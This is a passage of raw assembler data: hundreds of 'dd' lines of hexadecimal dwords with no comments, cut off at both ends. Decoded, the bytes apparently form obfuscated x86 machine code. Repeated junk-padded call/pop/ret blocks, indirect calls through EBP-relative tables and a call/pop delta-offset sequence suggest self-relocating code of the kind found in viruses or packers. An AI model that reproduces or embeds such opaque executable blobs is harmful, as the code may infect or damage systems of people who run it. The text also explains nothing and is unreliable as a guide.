54895AC3h, 44810424h, 1A0424h dd 52420000h, 0A564E3C3h, 4899957Eh, 138DBD8Bh, 858B0613h dd 6132BB9h, 0B98533F5h, 6A061305h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 507DC357h dd 7E9h, 0A3234C00h, 0DD2A6DDEh, 80240489h, 6A6BCBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0AAC35747h, 0EDA6DDA9h dd 0A993B268h, 240481F0h, 0F75704Dh, 0A3D95FFh, 6A0613h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 734F85C3h, 0D2434AD7h, 0DB803F22h, 54858955h, 810616C4h dd 0EAF749C3h, 211E967h, 14E80000h, 2A000000h, 429AED57h dd 0A208756Bh, 0D4B2211Ch, 4CAB04FEh, 8B3F1D6Ah, 132D0DBDh dd 8F0F5F06h, 6, 19918D29h, 858B0613h, 616C44Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 76C35141h, 0C3DC8AE9h dd 0CE8FD6Dh, 85000000h, 0F317A822h, 594C80Dh, 0FD88D20h dd 28Dh, 5B616000h, 1800C7h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0E2DB14C3h dd 716CF4E4h, 8960B901h, 1310F9B5h, 0D19D8B06h, 61061320h dd 0C450B58Bh, 0BB660616h, 858BF4B4h, 6132A55h, 19018D89h dd 6890613h, 11E8h, 4569AD00h, 79AEF28Bh, 0C10299EFh, 9862449Eh dd 9E9A7F1h, 18000000h, 8B1D5EB1h, 47F80B2Ah, 8B1DB75Fh dd 132BB985h, 198D2906h, 33061331h, 1301C19Dh, 4468906h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 44C35343h dd 9D8B9176h, 6130B39h, 1A019D29h, 0E8500613h, 8, 4CE4FA6Ah dd 0E1E465CDh, 9E9h, 474F1900h, 3715C77Eh, 895B5A8Ah, 830F2434h dd 6, 1E558529h, 0B5FF0613h, 616C44Ch, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 16h, 0A8C35242h, 6568ED27h, 60909E44h dd 5205B9BBh, 61F98B63h, 9A240481h, 506F80BFh, 6870Fh dd 9D090000h, 6133205h, 54858D5Bh, 6A0616C4h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9FA6C350h, 74C8ED8Dh, 6E8C551h, 0D000000h, 5AC2D53Eh dd 199D03C9h, 5F06131Ah, 2375BD8Bh, 0BF900613h, 5C3AF101h dd 905B5250h, 1CD9D89h, 95FF0613h, 6130A3Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 24C35343h, 0D6DF8177h dd 611C96A9h, 3EE2BF66h, 305585C7h, 30613h, 89500000h dd 130D7195h, 0BD835B06h, 616C454h, 48840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 4307C352h, 0AAA102B9h, 3DE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 7DBF8A2Ch, 5019589Fh, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 0DE8C08Bh, 3C000000h, 0C35B62Bh dd 7F3D16A5h, 0E93F6596h, 315BF88Bh, 1307F585h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0CE94Ah, 5F020000h, 84BD3BD0h, 2D028DD2h, 0BD83038Dh dd 6133055h, 0AB850F03h, 6A000004h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0F8EAC353h dd 6651A88Ch, 0CDA7F381h, 0C454BD83h, 0F000616h, 47984h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 13C19111h, 9EF7D39Ch, 0B5FF22A2h, 616C454h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CDC35242h dd 0EB67B7C1h, 96995FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 0F61B7C3h, 0B58BDEB7h dd 616C448h, 6C7D98Bh, 10001h, 2161BD8Bh, 0E9960613h, 14h dd 71FDA791h, 57CF8BA0h, 480798B8h, 51B5CB7Fh, 83D7E214h dd 0A54BF50h, 6A96308Ch, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0E8B1C355h, 44313174h dd 8B370CBFh, 130CF99Dh, 54B5FF06h, 8B0616C4h, 1320799Dh dd 2995FF06h, 8B061332h, 13109DBDh, 58D0F06h, 66000000h dd 33EAE781h, 0C448B58Bh, 0D6BB0616h, 8B2EDC34h, 13063185h dd 0C4868906h, 2B000000h, 130159BDh, 0BD958B06h, 6A06131Bh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 55B2C350h, 0C6CF801Dh, 6A04C283h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 63A9C352h, 8B191B87h, 205089F9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 48C35646h, 0FB5C15Bh, 8D5BEF0Bh dd 16D8E385h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0CB84546Ah, 25D687F8h, 8689EBD6h dd 0B8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0D1C35646h, 0F1B1B52Bh, 9D03749Eh, 6130A7Dh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0B935A5C3h, 4180ACFCh, 81DDF4A3h, 40EB8DD7h, 0ED95311Ah dd 0FF061314h, 16C454B5h, 0D7816606h, 95FF23ABh, 6131E95h dd 0A800Fh, 60600000h, 19B52961h, 6106131Ah, 34BB6696h dd 10E95098h, 0E8000000h, 0AFB3802Eh, 7247A3DAh, 9B990663h dd 9698EB69h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 0E7C35747h, 0E9A8BC46h, 12h, 0EFCB69BBh, 0C0CC179Bh dd 51780708h, 70D90241h, 0B5FFBA7Eh, 616C454h, 11B1BD8Bh dd 95FF0613h, 6132145h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 84C35242h, 63C6E795h, 0EF81C3FAh, 43B7A6CDh dd 1495BD83h, 0F000613h, 6184h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 0E953F505h dd 0E896878Dh, 6, 0A8DA9290h, 0BE938FFh, 0A6000000h, 0FE3D8F60h dd 0F1214DB3h, 505F676Eh, 50006A96h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 4BDBBD1h, 0B5FFF520h dd 616C454h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 6EC35747h, 0BBA3A12Dh, 5A0FE2CCh, 9629CF81h, 806021F2h dd 0C980BDF5h, 95FF61C7h, 61305ADh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 48C35343h, 7172BD31h, 0F4579B2Fh dd 0D38166B1h, 0B5FF026Ch, 616C454h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 30C35343h, 6FD3D4FDh, 0D9BD8B62h dd 89061330h, 132071BDh, 995FF06h, 0F061312h, 68Fh, 0B1BD8900h dd 83061314h, 130511BDh, 840F0206h, 83h, 0EE9h, 8E3E8400h dd 4EDC27E1h, 7CA5B258h, 8B055E29h, 130F5585h, 10E906h dd 70230000h, 38E267D8h, 62E760Bh, 35AD707Eh, 0C60031h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 545175CAh, 0D47DBAC5h, 6E85E53h, 4A000000h dd 3F815DBDh, 5783BF95h, 0E95F572Eh, 13h, 0DAAFB380h, 637247A3h dd 699B9906h, 0AA0098EBh, 66ABABE1h, 0C76A56BFh, 131E5185h dd 6, 38A0F00h, 0F000000h, 52E9FABFh, 66FFFFF3h, 18CBEF81h dd 9D8BC18Bh, 6132105h, 10E8h, 7028C700h, 3E0C9897h, 0C0CA44C6h dd 14FE6426h, 718D89D1h, 5F061328h, 1EA9858Dh, 8B0F0613h dd 5, 0D0D78052h, 890F905Bh, 2, 5050DA8Bh, 9E9h, 7216D000h dd 538E009Ch, 905B64B8h, 68F0Fh, 0B5890000h, 6131EC1h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 94C375C3h, 9B098E16h, 8D8983F9h, 613284Dh dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 8C243C3h, 0BD8949B9h, 6131CF5h, 2166858Dh dd 83F90618h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 29FF1FC3h, 0DE8B664Fh, 1A99BD23h dd 8B900613h, 6A9050D9h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 0C80BC357h, 0EF8166D2h dd 6A7258h, 0AE8h, 0EAF50200h, 0DC89777Bh, 80B30308h, 8B5BF5E3h dd 6A006AF9h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 5B89C355h, 0B98F1C90h, 0FF9682F6h dd 1307F195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1D04h, 0C3524200h, 0A5D607C6h, 82013818h, 85293DE7h dd 6132411h, 0A36A8D8Dh, 7E90616h, 6C000000h, 1971F497h dd 0D1FF5572h, 336ECF80h, 13325D9Dh, 3DBD8306h, 1061317h dd 42850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 80FACEC3h, 0DF8B668Fh, 8B66026Ah dd 0DC8A50D9h, 0B7240489h, 5E960h, 12020000h, 0FF56A975h dd 131E9595h, 0DAB70F06h, 0D7DE9h, 0E800h, 815D0000h, 182170EDh dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8AA440FAh, 5E858DD8h, 6A06168Fh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0CF9DC351h, 9614BB66h, 0C913BF66h, 0F525050h, 28Eh dd 0FD88B00h, 5ADA8B31h, 24048958h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Dh, 0A7C35545h, 0F6D2AF9Bh, 80F986F5h dd 66FD8A54h, 6401B7BBh, 35FFh, 64F90000h, 2589h, 0BD230000h dd 6130965h, 16D985FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0DA8B5AC3h, 0BD8BFF6Ah dd 6132FADh, 2309B5FFh, 8B660613h, 0AD95FFFEh, 0E9061331h dd 118h, 8E0Fh, 0B00000h, 2BF98D09h, 70E60613h, 0F71E4F8h dd 1183h, 0CE900h, 652E0000h, 0C29642C7h, 0FD72F1DDh, 613C5B6Eh dd 0E6830Fh, 0FF80000h, 0D88AC8B6h, 6BAh, 6810F00h, 3000000h dd 1316FD9Dh, 0CE906h, 16650000h, 63DCAAFDh, 0F85F9AC8h dd 0C18BB0ABh, 142ACB81h, 0E8C13FC5h, 443CBF04h, 0F7661D82h dd 9E8E2h, 15790000h, 738D9D69h, 29C3D42Dh, 1334A58Dh dd 0C82B5F06h, 0A26016BFh, 50D18B7Bh, 94FBB66h, 0D98B665Fh dd 7FE9h, 0FFBF0F00h, 4C4C858Bh, 0BF66505Fh, 0C083B4C0h dd 0C08307h, 0B589FE8Bh, 61319D1h, 830FD03Bh, 1Bh, 56E9F9h dd 10E90000h, 95000000h, 8B892C74h, 82D91466h, 7092364Fh dd 8B167531h, 0FFFFFF8Dh, 0FD8D89FFh, 8306131Eh, 840F01E1h dd 2Ch, 0BF8AF380h, 78EEEA2Eh, 0FFFFA583h, 29FEFFFFh, 1321F585h dd 4C958906h, 0F505F4Ch, 68Fh, 0E1958900h, 0E9061334h dd 0 dd 0A159B58Dh, 12E90617h, 0B4000000h, 0EB92731Ch, 0C0AC3C6Bh dd 0FDDE7328h, 0A7A57FA2h, 159D8931h, 6A06130Bh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 0BD48D5FCh, 0D59D8BC3h, 0FF06131Bh, 130DA995h, 0D9D0906h dd 0B9061315h, 10CAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 81C35343h, 0C691BC85h, 8B6656E5h, 0E1835FDEh dd 0BEBB66FCh, 0B589FC3Eh, 6133239h, 0B8h, 9B58900h, 2B06131Fh dd 0C7BFBBD2h, 33AD3CA3h, 3E8D1C2h, 4E983D0h, 6AF475h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0FE3DEC3h, 683h, 0CD9D8B00h, 29061310h, 13015D9Dh, 880D06h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 0F99717C3h, 0BD8B26C7h, 6130061h, 1AA19D8Bh dd 958B0613h, 6131BBDh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0D0C35545h, 2B60A2E4h, 81757AAAh, 8644EF81h dd 8D8B7044h, 61318DDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 71C35141h, 8BA11C22h, 130B699Dh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh, 131935BDh dd 0F59D8B06h, 8306131Dh, 131D1DBDh, 840F0006h, 0A6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 35C35545h, 4E80B363h dd 1738DEF4h, 0DE943h, 5AE40000h, 9DA4E21Bh, 501CE31Ah dd 0B8EAAD8Fh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 12C35141h dd 2E50D514h, 496010F8h, 0F59D23CEh, 29061300h, 131B45BDh dd 8D8D8D06h, 6A06134Fh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 20C5C353h, 43C04Dh dd 0F903496Fh, 0BD8BE1FFh, 6130785h, 1639B531h, 0BD830613h dd 6133055h, 9E840F00h, 6A000004h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0CAF3C356h dd 89E344A5h, 1322998Dh, 0BD83F506h, 6133055h, 85840F01h dd 0F000004h, 0BD83FABFh, 6133055h, 3F860F03h, 6A000004h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 0DA19C355h, 5F59D8Bh, 9D890613h, 61334ADh dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h dd 0C3514100h, 57FA8F07h, 8C66763Dh, 55006AD9h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 279E621Ah dd 808CA4B3h, 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 33D997C3h, 6BDA6740h, 0FC90AADh dd 11384h, 7D9D8B00h, 3061323h, 1309619Dh, 0B9858B06h dd 5206132Bh, 1F5B589h, 335F0613h, 1305B985h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 50D749EBh, 10E853h, 8DD50000h, 0F37889BBh, 2C9F7F7Ch dd 0DFFC920Ah, 61602BF8h, 4895F5Bh, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 7826FCABh dd 6A006A66h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0A042C356h, 96C3AF32h, 68FFB70Fh dd 1332C134h, 3481DD8Ah, 2DC2CB24h, 50006A13h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0EBC1B9D0h dd 0A3D95FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 5FE20CC3h, 9D8BC470h, 61318E1h dd 0C4548589h, 0E9FC0616h, 219h, 0FDE8B66h, 386h, 0F9B70F00h dd 0C44C858Bh, 6A0616h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 667947C3h, 9D8BE8FAh, 6132FE1h dd 1800C7h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 190424h, 52420000h, 335ACCC3h, 0BF59251Bh, 45D19E4Ah dd 0C450B58Bh, 89600616h, 1305A5B5h, 0BD8B6006h, 6130085h dd 30B19D09h, 61610613h, 2A55858Bh, 6A0613h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 689F4C3h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h dd 859531BEh, 0E906130Eh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h dd 7F973D3Eh, 0B9858B40h, 8906132Bh, 131BFDBDh, 4468906h dd 50F98B66h, 0EE8h, 2952F600h, 0D4087744h, 0CBAD56BCh dd 0F79B583h, 0E86h, 8E800h, 814D0000h, 7CAB548Fh, 5F5FA1F7h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 548AC357h, 5C936E4h, 34BA6660h dd 6860FBAh, 89000000h, 132B2595h, 0B5FF6106h, 616C44Ch dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6DC35040h dd 0D489FFBFh, 684618Fh, 198D8964h, 0E8061312h, 4, 1F03FFh dd 0EE9h, 0D9D5CF00h, 3E9B78E1h, 39E81CDBh, 50AF9AB8h dd 424448Bh, 880F008Bh, 5, 796F7BBBh, 24448964h, 50606004h dd 55EFBA58h, 61617161h, 8DBD8B58h, 8D061300h, 16C45485h dd 5BBB6606h, 0E9606035h, 14h, 0B682D6AAh, 0BEEFC83Eh dd 0BB80016h, 9C43FCF6h, 0E8533EE3h, 228D9D89h, 61610613h dd 50FB8B90h, 359D8990h, 0FF061324h, 130A3D95h, 0DE906h dd 0CCA0000h, 0FB044ED0h, 0EE84894Fh, 81C64472h, 325313CBh dd 6A6160h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 0E70F41C3h, 0F486C660h, 85C72E16h, 6133055h dd 3, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch dd 0D8C35242h, 0AE49008Dh, 103B8546h, 9BD9D8Bh, 0BD830613h dd 616C454h, 1B840F00h, 0E9000000h, 0Bh, 88467B3Bh, 7B4077ECh dd 0E9A7FDD5h, 21h, 34859589h, 30500613h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 55006AC0h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 7DACA70Ah dd 0FF15BF66h, 3055BD83h, 0F030613h, 3D585h, 2DBD8B00h dd 8306131Fh, 16C454BDh, 840F0006h, 3C2h, 0FF54CF80h, 16C454B5h dd 95FFFC06h, 6130969h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 91C35343h, 48B58B71h, 6A0616C4h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 320EC351h, 0B8B8F71Dh, 0BE668513h, 106C7h, 6A0001h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0EFD7BEC3h, 0A43D4D77h, 11E896h, 4E00000h, 0A17BAC25h dd 5E748FA1h, 69C1C76Ah, 66929381h, 505BFB8Bh, 56006A96h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 414031Bh, 39386059h, 88D3E781h, 0B5FF41F2h, 616C454h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 5FC35343h dd 446C39F4h, 322995FFh, 0CEB70613h, 0C448B58Bh, 0EE90616h dd 0E0000000h, 0B185F4CBh, 0E23BFFA1h, 8E5A4984h, 31858B85h dd 6A061306h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 8B25C353h, 13152DBDh, 68E38106h dd 890D9B43h, 0C486h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 25D44F10h, 0BD0B463Ch dd 6131985h, 9C9BD8Bh, 0F7810613h, 2CAC4D4Ah, 1BBD958Bh dd 0BD890613h, 6132F7Dh, 17699D29h, 0C2830613h, 55006A04h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 56E5F46Bh, 80205089h, 858DFAEFh, 616D8E3h, 8B0Fh, 86890000h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 5C35242h, 0AA157076h, 0DD8AEA24h, 0F380006Ah, 54B5FF58h dd 0F0616C4h, 68Bh, 919D8B00h, 0FF061301h, 131E9595h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 5A880FDh, 0D4DEF8FCh, 7E8963Ah, 0D3000000h, 730D342Dh dd 0C7B306ADh, 0BF66505Bh, 6A960E84h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5E26C352h dd 0E598B664h, 0E8B4D0B2h, 6, 0C6E3A4E8h, 9D8BF957h, 6133069h dd 54B5FF5Bh, 890616C4h, 1328E9BDh, 4595FF06h, 6A061321h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C449C352h, 0B8553F41h, 27BB6606h, 95BD83F5h dd 61314h, 45840Fh, 9E90000h, 0A000000h, 0CE16D42Ah, 99729561h dd 12EB8166h, 8C0F9636h, 5, 18DC2ABBh, 0F98A5065h, 55006A96h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 81661A38h, 0FF8C72EBh, 16C454B5h, 0B99D8B06h, 8B061310h dd 1313C9BDh, 0AD95FF06h, 81061305h, 0FE4125D3h, 54B5FF0Bh dd 0E90616C4h, 11h, 0BF49A384h, 671DA23Bh, 7695F91h, 0B32DA003h dd 0D9BD292Ah, 0FF061305h, 13120995h, 0DB50106h, 8006130Dh dd 0BD839ADFh, 6130511h, 5B840F02h, 89000000h, 1307058Dh dd 55858B06h, 6A06130Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 0A332C357h, 88EC8B5Fh dd 0C6B68142h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0DB99C6C3h, 0FCD00F1h, 0BF0FFEB7h dd 85C7F5FBh, 6131E51h, 0 dd 14EDBD8Bh, 0A5E90613h, 6AFFFFF3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0EFDDC356h dd 2FC9D0BDh, 565F5423h, 5FF8515Fh, 6AC18Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 73029C3h dd 8B563910h, 132FE9BDh, 858D5B06h, 6131EA9h, 7E9h, 0EB4EC100h dd 4C23A7A7h, 90F8B70Fh, 0F525050h, 5ADE8A31h, 6A9058h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 68C35343h dd 0F5958B60h, 61061313h, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0ACC81C3h, 7E9h, 0DC5C6700h dd 0A8FE906Dh, 30F5858Dh, 6A0618h, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 83B43CC3h, 6A05C0h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0F6074C3h, 58Ah, 0D7816600h, 0CE88A9Ah, 59000000h, 514DE381h dd 0B1F030DCh, 8924DB26h, 1300A19Dh, 90615B06h, 9E9h, 95A41A00h dd 91402D87h, 0E850D782h, 0Ah, 4EBBAC65h, 0B934B9BDh, 66B736DDh dd 0FC60905Fh, 2349BD29h, 6A610613h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 368ECD97h dd 19FFCFC3h, 8D896500h, 61306F9h, 0FC8A006Ah, 7F195FFh dd 95890613h, 6132849h, 0A36A8D8Dh, 6A0616h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 652D2AC3h dd 7ABB0804h, 0FF37B73Ch, 0D18D89D1h, 83061322h, 13173DBDh dd 850F0106h, 8Bh, 0B1DB509h, 26A0613h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 1Ch, 0EC35242h, 13164EFh dd 34C0C879h, 4985BB90h, 0F502ED6h, 1A84h, 10E800h, 5F670000h dd 0C83F7E6Fh, 0AF300156h, 8B6B78D1h, 0BF6666A8h, 905B7420h dd 95FFFA8Ah, 6131E95h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 44C35242h, 4D8FF04Eh, 93C61745h, 6E9h dd 0F9119B00h, 0E9812969h, 0E2Fh, 0E8h, 0ED815D00h, 61830FFh dd 0BEE216BFh, 8B606023h, 130D8585h, 2A18BA06h, 0F961572Dh dd 5E858D61h, 6A06168Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 6579C352h, 9215E8E8h dd 12BF66ADh, 57DB805Ah, 0CE95090h, 0B000000h, 0EA722CE7h dd 8B4FAD12h, 90EDD77Ch, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 98C35141h, 0FF84F84h, 68Ch, 0F5B58900h dd 8B061313h, 35FF64DEh, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 49C35545h dd 814CB8EBh, 0EA5D2FD7h, 5E913h, 5EDB0000h, 0F877E07h dd 284h, 645F5700h, 2589h, 9D8B0000h, 6132821h, 16D985FFh dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h dd 55450000h, 6A1E0DC3h, 519D8907h, 6A06130Dh, 0CE960FFh dd 0CB000000h, 75ADB00Dh, 40C57A9Ah, 891051B9h, 132F8D95h dd 0B5FF6106h, 6132331h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 0E3C35040h, 0BE84E2Ch, 95FF9846h, 61331ADh dd 16CE9h, 799D8B00h, 0B0061324h, 15C38100h, 0E66F1432h dd 80516070h, 0E85E44C4h, 0Fh, 0FD84D6D4h, 4D6D13C0h, 4DA7212Bh dd 0F894D76Dh, 71E4615Ah, 48B0Fh, 0BF660000h, 613C8331h dd 12B830Fh, 0B60F0000h, 5E8C8h, 70D0000h, 56579227h, 1B018D89h dd 5F5B0613h, 14E8h, 0FA4AFC00h, 88FFB8C4h, 127CD8FFh dd 5A203C3Fh, 0C7E6A2Fh, 68E0FA4h, 89000000h, 13299D8Dh dd 6BA5F06h, 0E9000000h, 11h, 59FCF4F4h, 0F8769D68h, 1150FE88h dd 548BE7C0h, 0FC18B87h, 0AE9DAB7h, 0EC000000h, 4FE57FE2h dd 0ED646B53h, 4E8C139h, 0FE2F766h, 685h, 0F1958900h, 2B061315h dd 0CE8C8h, 41260000h, 46ABB689h, 5D582F38h, 0BD8BAF4Eh dd 6133135h, 89D18B5Fh, 131AF9BDh, 87E906h, 9600000h, 130D61BDh dd 0C7BF0F06h, 4C858B61h, 89494755h, 132B6985h, 9BD8906h dd 83061328h, 0C08307C0h, 0E5BB6600h, 0FD03BE5h, 2783h dd 12E96000h, 0 dd 0BBE30789h, 12FB4977h, 7C46A794h, 51E21640h, 0C38B662Bh dd 37E961h, 0BD8B0000h, 6131619h, 0FFFF8D8Bh, 0E183FFFFh dd 22840F01h, 83000000h, 0FFFFFFA5h, 0F51FEFFh, 382h, 0F8BF0F00h dd 4C95895Bh, 53494755h, 5BFE8B66h, 0E9h, 23B58D00h, 6A0617B2h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 0F213C350h, 97F6F4A6h, 0AFA6E781h, 6A512Eh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 4BC35545h dd 95FF0329h, 6130DA9h, 0D0B95F57h, 6A00000Fh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0DA3CC355h, 85D9F132h, 9D8BDA84h, 6130F21h, 6AFCE183h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0D03CC353h, 2E24EE5Eh, 11E89584h, 4000000h dd 0EE903DE1h, 0BDEB6C86h, 20FBC7F4h, 0A719AC63h, 32119D03h dd 0FC5F0613h, 23359D8Bh, 0B80613h, 81000000h, 0FF6DAEE7h dd 0C9950920h, 2B061300h, 819D8BD2h, 